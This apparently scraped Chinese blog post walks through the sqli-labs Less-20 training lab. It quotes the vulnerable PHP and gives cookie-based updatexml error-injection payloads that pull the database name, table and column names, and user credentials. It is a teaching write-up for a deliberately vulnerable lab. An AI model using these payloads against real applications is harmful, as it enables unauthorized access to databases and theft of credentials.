当前位置: 首页 > web >正文

sqli-labs:Less-20关卡详细解析

1. 思路🚀

本关的SQL语句为:

$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
  • 注入类型:字符串型(单引号包裹)、GET操作
  • 提示:参数需以'闭合
  • 关键参数:cookee

php输出语句的部分代码:

if(!isset($_POST['submit']))
{	$cookee = $_COOKIE['uname'];$format = 'D d M Y - H:i:s';$timestamp = time() + 3600;echo "<center>";echo '<br><br><br>';echo '<img src="../images/Less-20.jpg" />';echo "<br><br><b>";echo '<br><font color= "red" font size="4">';	echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];echo "</font><br>";	echo '<font color= "cyan" font size="4">';	echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];			echo "</font><br>";			echo '<font color= "#FFFF00" font size = 4 >';echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";echo '<font color= "orange" font size = 5 >';			echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);......
}

本关卡的关键回显语句是echo "YOUR COOKIE : uname = $cookee...,需通过正确的账号密码后才会正确回显信息,并且已知正确的账号和密码,暂且每次提交的账号密码都是admin,根据提示配合报错盲注

在这里插入图片描述


2. 手工注入步骤🎯

2.1. 获悉Cookie格式⚡

下图是使用Burpsuite的Repeater抓取数据包得到的带有Cookie的请求格式,需要注意的是会有2个请求,先是POST请求,再是GET请求,只有GET请求中才携带Cookie

在这里插入图片描述

既然知道了格式,下面用HackBar操作,接下来的过程只需要将下面的Cookies放入对应位置,粘贴即可。


2.2. 获取基本信息⚡

接下来配合updatexml函数实现报错盲注:

uname=1' and updatexml(1,concat(1,(select database())),3) #

在这里插入图片描述


2.3. 获取表名⚡

uname=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),3) #

在这里插入图片描述


2.4. 获取字段⚡

uname=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),3) #

在这里插入图片描述


2.5. 获取数据⚡

下面是获取一个用户的sql语句,修改limit偏移量可获取其余用户的账号密码信息。

uname=1' and updatexml(1,concat(1,(select concat(username, ':', password) from users limit 0,1)),3) #

在这里插入图片描述


2.6. 参数汇总表⭐

参数作用示例
'闭合符号id=1'
#注释符#'
updatexml()报错注入函数updatexml(1,(select database()),3)
concat()字符串拼接函数concat('a','b')concat(1,(select database()))
information_schema系统数据库from information_schema.tables
table_schema数据库名称table_schema='security'
table_name数据表名称table_name='users'
column_name字段名称group_concat(column_name)

3. 总结🏁

HTTP Cookie(通常简称 Cookie)是 ​​服务器发送到用户浏览器并保存在本地的一小段数据​​。浏览器会在后续的 HTTP 请求中自动携带该 Cookie,以便服务器识别用户身份或存储用户偏好。

本关卡在http请求头中的Cookie做文章,为了达到sql注入的效果,需同时配合报错盲注获取数据。复杂点的Cookie注入见文章"sqli-labs:Less-21关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149865370?spm=1011.2415.3001.5331
有关报错盲注的解析,关卡5最为详细,欢迎移步"sqli-labs:Less-5关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149778521?spm=1011.2124.3001.6209


声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

http://www.xdnf.cn/news/16954.html

相关文章:

  • Gossip 协议
  • 用 Qt 打造优雅的密码输入框:添加右侧眼睛图标切换显示
  • 关于Web前端安全防御之点击劫持的原理及防御措施
  • OpenCV HSV与RGB颜色模型的区别
  • Elasticsearch+Logstash+Filebeat+Kibana单机部署
  • 论文笔记:Bundle Recommendation and Generation with Graph Neural Networks
  • OpenCV 全解读:核心、源码结构与图像/视频渲染能力深度对比
  • 电力系统分析笔记:发电机与变压器的数学建模与运行状态详解
  • 图漾AGV行业常用相机使用文档
  • Unity —— Android 应用构建与发布​
  • 边缘计算优化!陌讯轻量化模型实现路面裂缝误检率↓78%
  • Java函数式编程之【Stream终止操作】【中】【通用约简reduce】
  • 机器学习sklearn:聚类
  • Python编程基础与实践:Python函数编程入门
  • 通过解决docker network connect实现同一个宿主机不同网络的容器间通信
  • Flutter dart运算符
  • synchronized 深度剖析:从语法到锁升级的完整演进
  • 第13届蓝桥杯Python青少组中/高级组选拔赛(STEMA)2022年1月22日真题
  • shell脚本的语法使用及例题
  • Java函数式编程之【Stream终止操作】【下】【三】【收集操作collect()与分组分区】【下游收集器】
  • 一个可以检测本机的字节顺序,并对任意数据进行字节顺序的反转操作的代码。
  • 热能小车cad【12张】三维图+设计说明书
  • 解决IDEA无法克隆GitHub上的工程的问题
  • STM32F103C8T6 BC20模块采集温湿度和经纬度发送到ONENET
  • AI+向量化
  • 《React Router深解:复杂路由场景下的性能优化与导航流畅性构建》
  • 全方位监控与智能控制应用
  • Linux文件操作:从C接口到系统调用
  • 浏览器【详解】自定义事件 CustomEvent
  • 台式机 Server 20.04 CUDA11.8